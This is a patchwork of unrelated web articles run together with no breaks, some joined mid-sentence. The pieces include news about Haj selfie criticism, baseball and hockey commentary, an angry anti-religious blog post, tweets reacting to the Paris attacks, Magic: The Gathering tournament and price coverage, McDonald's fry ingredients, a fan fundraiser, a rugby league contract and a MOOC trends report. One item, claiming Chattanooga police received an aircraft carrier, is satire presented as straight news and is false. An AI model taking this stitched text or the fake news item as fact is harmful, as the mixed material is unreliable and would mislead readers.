Jesse McLean can be reached at 416-869-4147 or jmclean@thestar.ca.Clerics across Uttar Pradesh have expressed anger over the ‘selfie fever’ that has apparently gripped Haj pilgrims this year.
They have termed clicking pictures and selfies with holy Kaba in the background as ‘haraam’— acts forbidden by Allah.
Going a step further, clerics from Bareilly and Aligarh said they would circulate a ‘caution’ message among people during the Friday prayers advising them to avoid clicking seflies while performing Haj.
“Clicking selfies while performing the series of rites in and around the city of Mecca is totally objectionable,” said Maulana Khalid Rasheed Firangi Mahali, imam of Lucknow’s Eidgah.
“Anything for the sake of publicity is ‘haraam’ — be it clicking and posting pictures or selfies on social networking sites,” added Rasheed.
He, however, said if the selfie was taken for the sake of informing parents and relatives that they have reached safely, there was nothing wrong in it.
Rasheed’s reaction was an outcome of the widespread debates on the social networking sites where conservative clerics have criticised the clicking of selfies, saying it distracted the mind of the pilgrim.
“It’s time to connect with Allah and purify the soul. Haj selfies should not be taken as they breach concentration,” stated a tweet.
A similar war of words was also witnessed on Facebook where a Haji had posted a selfie with his thumbs up while performing rituals. Another picture showed a group of Hajis waving their hands for a selfie.
Sayed Kafeel Ahmed Hashmi, head mufti at the Dargah-e-Ala Hazrat, too strongly condemned the act of snapping a selfie and termed it totally unacceptable.
“While going for Haj, one leaves the family and loved ones behind to meet Allah. But, if a pilgrim moves with the thought of showing off and clicks selfies, it is of no use to embark on Haj,” said Ahmed Hashmi.
Dr Zahid Ali Khan, Sunni theologist and a mufti from Aligarh, termed clicking photographs an act against Shariat law.
“Clicking photographs and showing it off in public is unpardonable. You are there to offer prayers and to meet Allah. But clicking selfies and posting it on the social networking sites is a sin and should be avoided at such pious moment of time,” Khan said.
Convener of Sunni Ulema Council, Haji Mohammed Salees of Kanpur, advocated holding workshops to make the aspiring Hajis aware of the dos and don’ts during next year’s Haj camps.
“There are many who are not even aware of the facts. By holding a workshop we can guide their moves in order to avert such situation,” he said.
But despite all the reprimands, Hajis continued to post their selfies on Twitter.
“So nice to keep for looking back on (sic), I have a picture I snapped of the Kaba at Umrah. I love seeing it,” a Haji tweeted.
First Published: Oct 10, 2014 12:48 ISTAtlanta Braves right-hander Shelby Miller starts Tuesday and he's hoping to end an 18-start streak in which he's gone 0-10 despite a 3.24 ERA. Back in the day, many would have spouted nonsense about how "he just doesn't know how to win." We know better now, of course. Miller has pitched very well, but he's been unlucky, thanks to atrocious run support. As a comparison, since Miller's winless stretch started on May 23, Alfredo Simon of the Tigers has the worst ERA among qualified starters at 6.67 -- and he's gone 6-7. Colby Lewis has a 4.85 ERA since May 23 -- and he's won 10 games.
That's why Miller tops our list of unluckiest players of 2015. Here are some players stymied by various degrees of bad luck.
Scott Kazmir, Oakland A's-Houston Astros
AP Photo/Colin E. Braley
Kazmir ranks fourth in the AL with a 2.45 ERA and yet has just seven wins. Kazmir is one of five starters in the majors who's had three starts where he allowed no runs and finished with a no-decision. That's bad enough, but get this: Kazmir hasn't won a game all season when he allowed more than one run. He's 0-9 in those starts, which includes eight starts when he's allowed two or three runs.
Chris Davis, Baltimore Orioles
Brace Hemmelgarn/Getty Images
Davis is third in the American League with 35 home runs, four behind leader Nelson Cruz. But he's been robbed of four more homers, which could cost him the home run title. Getting robbed four times in a season is certainly unusual; last year, for example, Rene Rivera was the only hitter to get robbed even twice. The only other player to get robbed twice in 2015 is Wilmer Flores of the Mets. For the record, the four players who robbed Davis are: Avisail Garcia (July 4), J.B. Shuck (July 5), J.D. Martinez (July 17), Billy Burns (Aug. 18).
Marco Estrada, Toronto Blue Jays
Tom Szczerbowski/Getty Images
In what is becoming the year of the no-hitter, we've also had many near no-hitters. On consecutive starts on June 19 and then June 24, Estrada took no-hitters into the eighth inning. On June 19, he lost his no-hit bid with zero outs in the eighth on a blooper to left. In his next start, he lost a perfect game on an infield single with one out in the eighth. Only one other pitcher has had two no-hit bids of seven-plus innings this season: Yep, Shelby Miller, who lost one with two outs in the ninth.
Albert Pujols, Los Angeles Angels
AP Photo/Jae C. Hong
Pujols has belted 34 home runs but he's hitting a career-low.247, thanks in part to a.220 batting average on balls in play -- the second-lowest in the majors among qualified hitters, ahead of only Luis Valbuena's.219 mark. How much of this is bad luck? The more fly balls you hit -- and therefore the fewer line drives and ground balls -- the lower your batting average on balls in play (BABIP) dips, especially when you're hitting a lot of home runs. As it turns out, Pujols' hit-type profile isn't much different than what it's been since 2009, according to data from ESPN Stats & Information:
2009-2014: 41.4% ground balls, 40.2% fly ball, 17.6% line drive
2015: 40.5% ground ball, 39.5% fly ball, 18.6% line drive
This doesn't mean it's all bad luck: Maybe his grounders and line drives aren't being hit quite as hard as in the past, and shifts cost him some hits as well, plus his BABIPs have always been lower with the Angels than with the Cardinals. But it does appear as if he's hit into some bad luck this season.
Corey Kluber, Cleveland Indians
Ed Zurga/Getty Images
The reigning Cy Young winner is 8-13 with a 3.41 ERA -- after posting a 2.44 ERA last year. So just having a worse season? Not necessarily. His FIP -- fielding independent pitching -- was 2.35 a year ago and is still an excellent 2.86 in 2015. In Kluber's case, while he's given up a few more home runs in 2015, his opponents' line is nearly identical:
2014:.233/.279/.345
2015:.229/.273/.361
The big difference? His left-on-base percentage is 71.1 percent this year compared to 78.6 percent in 2014. If you want, you can argue he's just not getting batters out with runners in scoring position, but it's probably bad luck as much as anything.
Clayton Kershaw, Los Angeles Dodgers
AP Photo/Mark J. Terrill
Last year, Kershaw made just 27 starts and pitched 198 innings but still won Cy Young and MVP honors after going 21-3 with a 1.77 ERA. I thought both awards were justified, but winning 21 of those 27 starts certainly helped. This year, he's made 26 starts and pitched 185 innings, and he owns a slightly higher 2.24 ERA -- but has just 11 wins. His bad luck is exemplified by two starts made recently: On Aug. 18, he allowed one run in seven innings and left with a 4-1 lead, only to see the bullpen blow the lead (and the game); on Aug. 23, he left with a 2-1 lead after eight innings, only to once again see the bullpen blow the game. Lesson: Maybe you have to go nine, Clayton.
Bryce Harper, Washington Nationals
Brad Mills/USA TODAY Sports
The National League MVP debate is going to be a fun one, especially if the Nationals miss the postseason. Harper's bust-out season has come right when most of his teammates have either been injured or went into the tank. So while he's been the consensus best player in the NL, he's not guaranteed to walk away with the hardware.
Justin Verlander, Detroit Tigers
Rick Osentoski/USA TODAY Sports
One double on the chalk from becoming just the sixth pitcher to throw three no-hitters.
Billy Burns, Oakland Athletics
Jason O. Watson/Getty Images
Umm, ouch.The biggest problem I have with religion is it causes otherwise intelligent and good people to idolize things that are intellectually and morally repulsive.
Of all the horrifyingly evil passages in the Bible, Numbers 31:17-18 is undoubtedly among the worst.
17 Now therefore kill every male among the little ones, and kill every woman that hath known man by lying with him (non-virgins).
18 But all the women children, that have not known a man by lying with him (virgins), keep alive for yourselves.
The context is that Midianite women seduced Israeli men into participating in rituals to their god on Mt. Peor. Because of this “crime” the voices in Moses’s head, which we are to believe come from an all loving and merciful God, orders him to go to war. Why does God do this? Because the singular all-powerful omnipresent being that created the universe, and who cannot be harmed, is jealous and gets hurt feelings when not worshiped by humans.
Freedom of religion exists in the U.S. Constitution, it doesn’t exist in the Bible. It’s not a “Judeo-Christian” value by any means.
The Israeli soldiers kill all the Midianite soldiers and bring the unarmed civilians to Moses. Who were these people? The males who were too old to fight, or too young, and all the women. Among these people are infants, children and elderly people who had nothing to do with Midianite women seducing Israeli men. These people are brought before Moses.
What does the moral law giver and divine prophet command? Moses’s great Commandment is that the unarmed civilians gathered before him be slaughtered except for the virgins. How many are there? As the story goes, there are 32,000 virgins alone among the group, so imagine the number of males and non-virgins. Imagine the tens of thousands of boys, pregnant women, mothers, and grandmothers that are cut down.
Christian Bale, when researching the fictional character Moses for the movie Exodus, realized that he was a terrorist.
“I think the man was likely schizophrenic and was one of the most barbaric individuals that I ever read about in my life.”
There are some that then criticized the actor as he wasn’t “qualified” to interpret the Bible. Where’s his doctorate in theology? Of course, if Bale had said something they liked, these same people would have been scrambling in line to kiss his ass. But since he said something they didn’t like, he wasn’t “qualified.”
Let’s review the passage again.
17 Now therefore kill every male among the little ones, and kill every woman that hath known man by lying with him (non-virgins).
18 But all the women children, that have not known a man by lying with him (virgins), keep alive for yourselves.
Do you really need a fancy degree to understand what this means? There are many convoluted stories in the Bible that are difficult to follow, this isn’t one of them. You don’t have to be a rocket scientist for this one. I would use the term “brain surgeon,” but apparently some of those people aren’t very bright at all.
Moses’s Commandment was to kill children, women who were pregnant, mothers, and grandmothers. The passage says what it means and means what it says. And if you were to ask someone with a fancy degree in theology, they wouldn’t tell you anything different.
This is not a parable or some kind of analogy. Moses, God’s right hand man and moral law giver, is ordering the slaughtering of innocents and for the virgins to belong to the men who butchered their mothers in front of them. The Moses character in the Bible is an evil piece of shit.
Christian Bale was right, Moses was a terrorist. What are the terrorist organizations such as ISIS and Boko Haram doing today? They are following what Moses Commanded. No one can claim to love Moses and hate ISIS. Moses is ISIS, ISIS is Moses. Islam is born of the same cesspool as Christianity. The God of Moses is Jesus, the God of Moses is Allah.
When you expose the major flaws and absurdities of Moses being a moral law giver, which the Bible makes very easy to do, in just doing that you take out the integrity of all the Abrahamic faiths. Every single one of them.
So why would anyone promote the murderous psychopath Moses? Why would anyone faithfully put their lips on the ass of such a monster? If such people were to be in the army of Moses, would they do what was commanded of them? Would they butcher pregnant women and babies? If they wouldn’t, and finds such a notion horrible, why promote this horrific character?
In an argument about morality when one side justifies the deliberate murdering of innocents and one side doesn’t, the argument is over before it begins. The side that doesn’t excuse the intentional targeting and butchering of innocents wins the debate. Either people are for terrorism or against it. Those against it should not promote it in any form.
If someone hates terrorism, why promote it? Why submit yourself to a terrorist myth? I call on everyone to submit themselves to something greater. I call on all people to submit yourself to learning, continuous self-improvement, the wellbeing of yourself and those around you. Submit yourself to truth, justice and liberty for yourself, your community, your county, and your world. Submit yourself to the wellbeing of future generations as many of the past did for you. Submit yourself to integrity of thought and reason. Submit yourself to what many people know as secular humanism which provides a noble meaning to life without myths, superstitious fear, or comforting lies.
-James Kirk Wall
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“Wal-Mart’s Annual Shareholder Party Could Face Party Poopers,” the paper’s Money section (6/6/14) proclaims. This sounds terrible; who doesn’t like to party?
You see, the company’s events are usually star-studded sessions, “like the Oscars with a little bit of business,” as a company rep explains. Last year superstar Tom Cruise showed up.
And this year? USA Today says there are some things planned, and they don’t sound so fun:
Ahead of this year’s shareholders’ meeting, a working-mothers group seeking higher pay protested in 20 cities this week, and dozens are expected to picket at the shareholders meeting.
Wow, way to spoil a good time.
Now, it should be pointed out that USA Today mentions other Wal-Mart problems: declining sales and “a lingering corruption scandal over bribery allegations,” for starters. And then there’s the watchdog group highlighting the massive tax breaks the company receives by giving its executives big bonuses.
This is all news, of course–and not the kind that the company wants to hear about. But party pooping? It’s not hard to see who USA Today is referring to. In both the print and online editions, we see photos of Wal-Mart protests.
The piece manages to close on a high note–for the company, that is:
Party atmosphere and potential blowback from shareholders and some disgruntled strikers aside, Wal-Mart executives, including CEO Doug McMillon, are expected to provide a positive front and lay out plans for the company’s rebound.
It’s not often that anti-corporate activists are heard from in the corporate media. Do they really need to be called “party poopers”?ISIS has claimed responsibility for terrorist attacks in Paris last night that killed and injured hundreds.
The Michael Bloomberg-funded gun control group Moms Demand Action responded this way:
Our hearts are with the victims and survivors of the horrific mass shooting and violent attacks in Paris today. pic.twitter.com/vMs5jkH9vI — Moms Demand Action (@MomsDemand) November 13, 2015
“Gun violence”? How very predictable.
WTAF? @MomsDemand still doesn't get it-the only guys running around with guns last night were bad guys #ParisAttacks https://t.co/dy1ycf4x8o — Colorado REDTraci (@goptraci) November 14, 2015
@MomsDemand but France has your wet dreams of gun control, how could this happend? — Jeff Bennett (@yakmon) November 14, 2015
Once again #gunsense doesn't care about anyone who wasn't killed by someone wielding a firearm. This is beyond sick. https://t.co/Ow3Myi6cbc — Linoge (@wallsofthecity) November 14, 2015
@MomsDemand Should say "we are united in mourning all lives lost to Islamic Extremism" your agenda of disarming citizens contributed to this — Philip Park (@PhilipPpark) November 14, 2015
@MomsDemand France has strict gun laws; how did those guns end up in Paris? Don't the suicidal jihadis know the law? — G.R. Hall (@Garrett_R_Hall) November 14, 2015
Keep in mind that @MomsDemand want Americans to be as unarmed as the French are. https://t.co/enPXFrpp5m — Al (@ancienthacker) November 14, 2015
Lol "gun violence". Such shills. Have you no shame at all? https://t.co/a5U7deoQyi — C-LAR (@DocCLAR) November 14, 2015
@MomsDemand Is it possible that you are actually this stupid? It was a Muslim terror attack; armed citizens might have saved dozens. — Preston Calvert (@PrestonCalvert) November 14, 2015
https://twitter.com/Nikka_777/status/665366708555649024
Forget reality, Moms Demand Action has a narrative to cling to!ADVERTISEMENT:
Editor’s Note: Relevant financial details in blue, folks.
Coming into Day 2 of the Pro Tour Aether Revolt, the field has proven to be a mix of the expected and a smattering of attempts to get ahead of the metagame with outsider cards.
For reference from our Day 1 article yesterday, the metagame broke down as follows for the initial field.
Between Jeskai Copy Cat, Jeskai Marvel and 4 Color Copy Cat, the Saheeli Rai/Felidar Guardian combo was the archetype that the greatest number of pros showed up with at 25% of the field, despite the shell having a big red target on it’s back as the deck to beat heading into the tournament.
BG decks, in both Delirium and Winding Constrictor focused builds made up over 23% of the field, as the other archetype that had been performing well in the first couple of weeks of the format. LSV pointed out on coverage that a lot of pros had leaned in this direction because they expected the vehicles deck to be popular and felt that these decks were the trump.
Almost as many pros showed up with a Mardu Vehicle build that was tuned in an effort with a full 22% of the field trying to leverage a highly aggressive game plan to try and get in under the format defining Saheeli Rai infinite combo.
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A few different control shells also made up a combined 10% of the field, with UR Dynavolt Tower, Grixis Control and Jeskai Control showing up in roughly equal proportions.
Dark horse decks that were whispered about before the tournament in chat rooms and forums did not show up in force, and have so far failed to make a major splash at the top tables.
Interestingly, many of the cards that have seen the biggest gains this weekend, including Inspiring Statuary, Paradox Engine, Tezzeret the Seeker and Tezzeret’s Simulacrum, all belong to a class of decks that ended up practically unplayed. As such, all of these spikes have a strong chance of back sliding heading into next week as speculators that went deep attempt to mitigate their losses by selling off.
Perhaps more important is the fate of the key mythics of the format: Verdurous Gearhulk, Torrential Gearhulk and Heart of Kiran. Each of these mythics are often played as three or four-ofs, are lynchpins in their respective archetypes and are very likely to see continued play in 2017 regardless of what happens with the potential Saheeli Rai combo banning later this month.
Verdurous Gearhulk is still hanging out in the $18 range, but if BG ends up dominating the Top 8, the stage could be set for the card to make a move into the $25-30 range as a dominant powerhouse aggro and mid-range card. Likewise, Torrential Gearhulk is the cornerstone of the blue based control decks in this format and at $23, offers slightly less upside than it’s green brethren in the quest to top $30.
The legendary Aether Revolt vehicle Heart of Kiran seems to be taking over the Smuggler’s Copter four-of slot in many aggro and mid-range decks and has edged up a few dollars, currently sitting at $15 or so. As a small set mythic, if four-of play continues this year, this card has a solid shot at $25+. On Magic Online the card is up over $10 overnight.
Kaladesh rare Scrapheap Scrounger, previously available for $1.50 is edging up toward $3-4 on the back of more frequent play in various aggro and vehicle/aggro builds. The card could possibly see play in Modern and Frontier, but is unlikely to yield significant gains from here on out.
Follow along with us as we track the final 5 rounds of constructed play before the cut to Top 8 and the establishment of the new Standard metagame.
Round 12 (6th Standard Round): Thierry Ramboa (BG Constrictor) vs. Lukas Blohan (Jeskai Control)
In the first game Lukas Blohan gets stuck on three lands and Ramboa is able to leverage some Winding Constrictor shenanigans into a quick win. Game 2 was all about Tireless Tracker and Fleetwheel Cruiser running over Blohan while backed up by Murder and Blossoming Defense. Match to Ramboa.
Round 12 (6th Standard Round): Martin Juza (Jund Energy Aggro) vs. Ben Rubin (BG Delirium)
This match pivots on a series of combat phases driven by the recent introduction of Verdurous Gearhulks to the battlefield, and Juza is able to leverage the heightened aggro pressure of his Jund Energy build to drive it home and move to 10-2.
Deck Tech #5: Willy Edel (Grixis Improvise)
Herald of Anguish">Herald of Anguish is a small set mythic at $8. Given the poor performance of the deck at the tournament, I wouldn’t be moving in on this card yet, but it’s worth keeping an eye on moving forward because there are definitely some interesting elements in play here.
Josh Utter-Layton has taken his fourth loss, knocking him out of Top 8 contention, and possibly relegating the cool Saheeli Marvel deck to a position out of the spotlight.
Round 13: Alexander Hayne (Mardu Vehicles) vs. Ken Yukuhiro (BG Constrictor)
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Heart of Kiran powered up by Scrapheap Scrounger for Hayne puts away Game 1 in a hurry. In Game 2, Yukuhiro gains the benefit of highly skilled play, edging out a win from a position that seemed to have him beat and the match is evened up. In Game 3, Yukuhiro stabalizes at four life on a pair of Walking Ballistas, and a Verdurous Gearhulk and a Winding Constrictor facing a near empty board for Hayne names the Japanese player the victor and puts him at 10-3.
Round 13: Daniel Grafensteiner (4Color Saheeli) vs. Tatsuhiko Ohki (Mardu Vehicles)
We come into this match with the players at a game a piece and Ohki offering a commanding board position from his blisteringly fast aggro deck. In Game 3, Daniel stabilizes on three life, and starts going to work with Nissa, Vital Force and Felidar Guardian to scrap out a win without his combo.
Deck Tech #6: Deep-Fiend Saheeli (Gerry Thompson)
This version of the Saheeli deck tries to set up additional paths to finding the combo and delays the aggro decks with Elder Deep Fiend. Felidar Guardian has multiple ways of gaining value as you pursue the combo.
Round 14: Samuel Tharmaratnam (BR Aggro) vs. Lucas Esper Berthoud (Mardu Vehicles)
The life gain from Aethersphere Harvester ends up being the pivot point in Game 1, and Lucas takes the lead. In Game 2, Sam is force to mulligan twice and Lucas easily takes the match.
Day 2 Metagame Breakdown
Here are all the decks that showed up in the hands of at least four players, and their conversion rates (chance they made Day 2).
Perhaps more importantly, here are the decks that were played by at least eight players and managed a conversion percentage above the field average of 62.6%.
Note that the conversion rate for the Saheeli Rai combo decks that weren’t also running Aetherworks Marvel was just 41%. The Marvel version on the other hand, in the hands of Josh Utter-Leyton and |
fries?
8. Citric Acid
Alex Frank
Used in more foods than you probably know, this acid is used for flavoring and acidifying agent. So, maybe it gives it a salty flavor? We'll let this one slide...
9. Dimethylpolysiloxane
Alex Frank
Take a guess what that means. Well, what we do know is that it is used as a silicon in the manufacturing of silly putty... WTF.
10. Dextrose
Aakanksha Joshi
Basically this is a sweetening additive, but, last time I checked, French fries aren't sweet.
11. Sodium Acid Pyrophosphate
May Sullivan
This guy is responsible for preventing discoloration of the potatoes while they are being shipped across the world. Without it, your meal would be a little less appetizing, so this is understandable.
12. Salt
Aakanksha Joshi
100% necessary and essential, end of story.
13. Canola Oil
Alex Frank
Here's where we get annoying. Yes, I realize this was already said, and no, this is not a mistake. McDonald's fries, freezes, and re-fries their taters so three ingredients are used twice, so maybe technically it's 16 ingredients but I'm calling BS.
14. Corn Oil
Allie Coneys
ANOTHER oil, you have to be kidding, this can't be necessary.
15. Soybean Oil
Jessica Payne
Seriously... another oil? These fries are one part potatoes to seven parts oil at this point. There has to be another way.
16. Hydrogenated Soybean Oil
Emanuel Storch
Again, a solid-fat-turned version of soybean oil. That's soybeans x4 in Mickey D's fries... let me know, why?!
17. TBHQ
Alex Frank
TBH I don't know what TBHQ is... but further research tells me it's a food additive that prevents it from oxidizing, which makes it lose flavor. High doses of TBHQ are toxic, but no worries, the little amount used in your fries won't harm a fly.
18. Citric Acid
Sarah Silbiger
More citric acid. Why, just why is that necessary Mickey D's?!
19. Dimethylpolysiloxane
Alex Frank
And here we go again with the silicon-like additive found in silly putty. Wasn't it good enough to gross us out once?
So there you have 19 (well, 16 if you want to be picky) ingredients that are found in your Golden Arches French fries. Now, you may be thinking — it's fast food, of course it has chemicals, it has to be transported. Well, that's no excuse. Fast food chains like In-N-Out and Five Guys serve fresh cut fries (that are equally as tasty) with just three ingredients: potatoes, one oil, and salt, so why can't Mickey D's do the same?
It seems silly that one simple item has 19 ingredients in it. It makes you wonder how many ingredients are in more complex foods like the McNuggets or the Big Mac. Times are changing and people are starting to become more health conscious; however, it doesn't seem to stop people from purchasing Mickey D's fries.
In fact, French fries continue to be McDonald's #1 selling item year after year — which means they probably won't be changing their recipe any time soon, so sorry gluten-intolerants.Community rallies around Preds super fan 'Big Ben' after concussion Copyright by WKRN - All rights reserved Courtesy: Ben Butzbach [ + - ] Video
NASHVILLE, Tenn. (WKRN) - Most Predators fans know him as Big Ben. He's the rambunctious guy who paints his belly for big games and gets the crowd excited while "Sexy and I Know It" blares from inside the Bridgestone Arena.
Many have wondered why Ben has not made it to many games this season or during the team's extended playoff run. There's a reason for that, and it's not a good one.
Copyright by WKRN - All rights reserved Courtesy: Ben Butzbach
Copyright by WKRN - All rights reserved Courtesy: Ben Butzbach
Big Ben, whose real name is Ben Butzbach, sustained a concussion several months ago while raising money for local fire departments and has become sensitive to light and sound. It's a problem that has kept him out of work for months.
He posted online that he has dipped as much into his savings as possible to cover for his family, but the time has come to sell off some of the Nashville Predators memorabilia that he's collected over the years.
He posted autographed sticks, pucks, photos and other items online. The extra cash was helping, but some Preds fans knew there was more they could do.
Enter Paul McCann, the Predators public address announcer and a close friend of Big Ben's.
Copyright by WKRN - All rights reserved Courtesy: Ben Butzbach
Copyright by WKRN - All rights reserved Courtesy: Ben Butzbach
McCann started a GoFundMe for the die hard fan, calling it "Let's Give Back to Big Ben."
"Pred Nation has always taken care of its own," McCann wrote on the page. "One of the people we can always count on to pitch in, help and support the people who keep us safe, like the fire, police and military personnel now needs our help."
McCann said it is important to get Ben back to 100 percent so he can continue his hard work raising money for others.
Ben, surprised by the fundraiser, posted on Facebook that he was overwhelmed.
"I have no words Smashville," he wrote. "All I can say is thank you to everyone who has reached out in support. I'm blown away. I never meant for all this; just tried to clear up why I've been gone and also had to take the steps I was taking. No words. Just thank you."
To donate to Big Ben, click here.Since the early 1990s, the Pentagon has transferred a significant amount of surplus military equipment to state and local police departments as part of its “Department of Defense Excess Property Program,” and at a press conference yesterday afternoon, it was announced that the Chattanooga Police department would receive an aircraft carrier from the program, to aid local law enforcement.
In the last eight years alone, tens of thousands of machine guns have been provided to police across the nation by the Pentagon, in addition to weapons such as grenade launchers, body armor and night-vision equipment and vehicles including aircraft and armored cars.
The acquisition of the surplus aircraft carrier USS Henry Kissinger (CVN-78) was deemed a major victory for the local police force, although it comes at a time when the use of military equipment in law enforcement is facing harsh criticism, after the high-profile protests in Ferguson, Mo.
The aircraft carrier is expected to initially take the place of the dilapidated North Shore barge this fall, after the aircraft carrier aids in its obliteration, and subsequently, it may be used to patrol the Tennessee River along the Chattanooga Riverwalk.
In addition to modern weaponry, the Chattanooga Police department will also receive older equipment, such as catapults, bayonets and howitzers, to aid its crime-fighting efforts to apprehend shoplifters, marijuana dealers and other criminals.Canberra have locked in the final piece of their player puzzle, re-signing veteran Sia Soliola until the end of the 2018 NRL season.
Soliola was the last remaining first-grade regular to commit beyond this year, following deals with Josh Hodgson, Josh Papalii, Blake Austin, Joey Leilua, Shannon Boyd and Jack Wighton in recent months.
That's in addition to new recruits Aidan Sezer, Elliott Whitehead and Joe Tapine.
Soliola's contract was to expire at the end of this season, but the Raiders and coach Ricky Stuart were keen to extend his stay given the impact he's had since arriving from St Helens last year.
He was named the club's best and fairest in 2015 and is a part of the senior leadership group.
"Ricky has done great things here and it would have been pretty silly not to consider this club because it's such a great club with a great history," the 29-year-old said.
"There's great optimism around at the moment and I think a lot of the boys are pretty excited at the start of the year and how they are going to progress. I want to be a part of that."
The backrower said his ultimate goal was to win a premiership and get the Raiders "back on the pedestal they belong".
"I think we have a squad that can be successful for sure," he added.
Chief executive Don Furner said Soliola was invaluable, especially for the club's younger players.
"Sia leads by his actions in everything he does and the respect he receives amongst the players and staff here at the club shows what a wonderful asset he is to our organisation," Furner said.
Soliola remains sidelined with a broken arm and is not expected back for another three or four weeks.Joe Thornton is going to be an interesting test case for the Hockey Hall of Fame, even though he clearly should be a no-brainer. But no question there are those who will hold his lack of a Stanley Cup against him. Of course, he still has time to win one before his career is out. But even if he doesn’t, it would be ridiculous to make that argument against him. His career screams Hall of Famer.
The case for
Thornton, a consistent top-end point producer his entire career, sits at 36th all-time in regular-season points with 1,259 (358 goals, 901 assists), ahead of Hall of Famers Michel Goulet, Bernie Federko, Joe Nieuwendyk, Mike Bossy and Glenn Anderson, among others.
And he’s still got a few more seasons left in his career. For example, say the 36-year-old center plays three more seasons, and I’m very conservative here in projecting 60 points a year. That puts him on pace for 1,439 points, which would rank him 16th all-time, sandwiched between Teemu Selanne and Bryan Trottier.
As it stands, his 901 assists are 19th all-time already, one away from passing Trottier.
Thornton has also proved to be a puck possession darling, as advanced stats take hold of the way we break down the game. By the time his Hall of Fame debate comes up years from now, that will endear him further.
The case against
The knock against Thornton is his perceived lack of playoff performances. That reputation was largely formed in his younger days in Boston, when his higher-seeded Bruins failed to advance far in the playoffs.
Thornton has 100 playoff points (24 goals, 76 assists) in 132 games. I know a lot of players who would take that.
As usual, the truth in judging Thornton’s playoff career is neither black nor white -- the reality somewhere in the gray.
No question there have been some postseasons in which Jumbo didn’t play his best, especially in 2014, when his San Jose Sharks coughed up a 3-0 series lead against the Los Angeles Kings. But Thornton has had many big playoff runs. I think especially of the 2011 trip to the conference finals, in which Thornton played through a separated shoulder in the final game against the Vancouver Canucks. In those back-to-back conference finals in 2010 and 2011, Thornton had 29 points (six goals, 23 assists) in 33 playoff games, that’s answering the bell.
Our vote
I think you know my vote: Joe Thornton is a slam-dunk Hall of Famer. His numbers suggest as much. If he never ends up winning a Cup, the Olympic gold medalist would be no different than other non-Cup, HOFers such as Mats Sundin, Marcel Dionne, Pavel Bure and Cam Neely -- deserving inductees whose lack of NHL championships didn't count against them.
ESPN panel: 67 percent voted into Hockey Hall of Fame.Have massive open online courses emerged from the Trough of Disillusionment to the Slopes of Enlightenment? Wherever MOOCs belong on the Gartner Hype Cycle, one thing is clear: there are more courses and students now than ever before.
Student enrollments in MOOCs doubled this year. In fact, more people signed up for MOOCs in 2015 than they did in the first three years of the “modern” MOOC movement (which started in late 2011—when the first Stanford MOOCs took off). According to data collected by Class Central, the total number of students who signed up for at least one course has crossed 35 million—up from an estimated 17 million last year.
In 2014, Coursera claimed more student signups than Udacity, edX and all other MOOC providers combined. This year, Coursera accounted for slightly less than half of all MOOC students. One company to watch is FutureLearn, a UK-based company owned by The Open University, which grew its user base from 800,000 students in 2014 to nearly three million students this year—more than Udacity.
In 2015, 1,800 new courses were announced, taking the total number of courses to 4,200 from over 550 universities.
Subjects
With a distinct focus on monetization in 2015, many MOOC providers and partner universities offered more courses covering in-demand skills in technology and business fields. The percentage of Computer Science and Programming courses grew more than 10 percent. This growth in technical and business courses has correlated with a decrease in the humanities and social science courses, but overall there is still a healthy balance of technical and non-technical courses.
Providers
Not much has changed in course distribution among providers. Coursera, edX and the Canvas remain the top three providers of courses. Kadenze, a MOOC platform optimized for arts education, was the only the MOOC provider to launch in 2015.
Languages
The share of English language courses has reduced slightly from 80% in 2014 to 75% in 2015, which can be attributed to a couple reasons. Overseas institutions, sometimes with the backing of local companies governments, are offering more MOOCs in local languages. ( France Université Numérique and MiriadaX are a couple examples.) After English, Spanish and French are the biggest languages in which courses are offered. Courses are currently being offered in 16 different languages, including Basque and Estonian.
Top Searches
Class Central users ran over 250,000 searches using 60,000 search terms. These top 25 search keywords (in order) account for 13% of all searches: python, java, writing, statistics, english, computer science, machine learning, healthcare, data science, marketing, accounting, c, android. big data, finance, excel, psychology, spanish, music, project management, photography, javascript, programming, sql, french.
Top Courses
2,200 courses were offered for the first time in 2015. Based on a Bayesian average of more than 7,000 reviews written by Class Central, here are the top-rated courses. (Look what subject came in first!) we were able to rank the courses.
A Life of Happiness and Fulfillment (Indian School of Business & Coursera) Introduction to Programming with MATLAB (Vanderbilt University & Coursera) The Great Poems Series: Unbinding Prometheus (OpenLearning) Marketing in a Digital World (UIUC & Coursera) Fractals and Scaling (Santa Fe Institute & Complexity Explorer) What is a Mind? (University of Cape Town & FutureLearn) Algorithms for DNA Sequencing (Johns Hopkins University & Coursera) Mindfulness for Wellbeing and Peak Performance (Monash University & FutureLearn) Programming for Everybody: Getting Started with Python (University of Michigan & Coursera) CS100.1x: Introduction to Big Data with Apache Spark (UC Berkeley & edX)
For more details, read our post on Best Online Courses of 2015.
Top Universities
Which universities created the highest-reviewed courses? Not the ones you would expect—or find in the latest issue of the Best Global Universities Rankings that U.S. News publishes every year. Below are the top-rated universities (which have all published more than five courses).
Santa Fe Institute Monash University Case Western Reserve University San Jose State University Australian National University Yale University The University of North Carolina at Chapel Hill University of Melbourne University of Queensland Wharton School of the University of Pennsylvania
Top 2015 Trends
MOOCs find business models: One of the big trends last year was MOOC providers creating their own credentials: Udacity’s Nanodegrees, Coursera’s Specializations and edX’s Xseries. For Coursera and Udacity, these credentials have become a main source of revenue, and both companies have raised big venture rounds to create more. Currently there are more than 100 credentials available from MOOC providers.
EdX, on the other hand is focusing on creating ways for students to earn credit with MOOCs. Earlier this year in April, the nonprofit partnered with Arizona State University to create the Global Freshman Academy. It is also pursuing partnerships with credit-granting institutions that students can earn credits through schools including the American Council on Education, Charter Oak State College and MIT.
Death of free certificates: The pursuit of revenues has meant that many MOOC providers have stopped offering free certificates. The average course of a Coursera certificate is $56; for edX, $53. Coursera is going one step further and is introducing a paywall for graded assignments for some courses.
Rise of self-paced courses: MOOCs started out with a structure parallel to college classroom courses, with a start and end date, and specific deadlines for assignments. One issue with these courses is that students would not know when—or if—the class would be offered again. Currently, 55% of all courses listed on Class Central do not have an upcoming start date.
Recently, MOOC providers have moved towards a self-paced model, meaning that courses are always open to signup and users can complete a course at their own pace. There are now more than 800 self-paced courses (20% of all MOOCs on Class Central), and the number is growing quickly. Coursera also introduced regularly scheduled sessions with soft deadlines. These sessions usually run once a month. If a student is not able to finish the course, they can always move to the next session without losing their place in the course.
Targeting high school: MOOC providers have started targeting high schoolers with the intentions of closing the college readiness gap, helping students to get a taste of different majors through introductory courses, and providing exam preparation (like AP) courses.Two specific MOOC providers are leading the charge: edX with its High School Initiative, and FutureLearn with the Going to University Collection.
2015: Less Experimentation, More Iteration
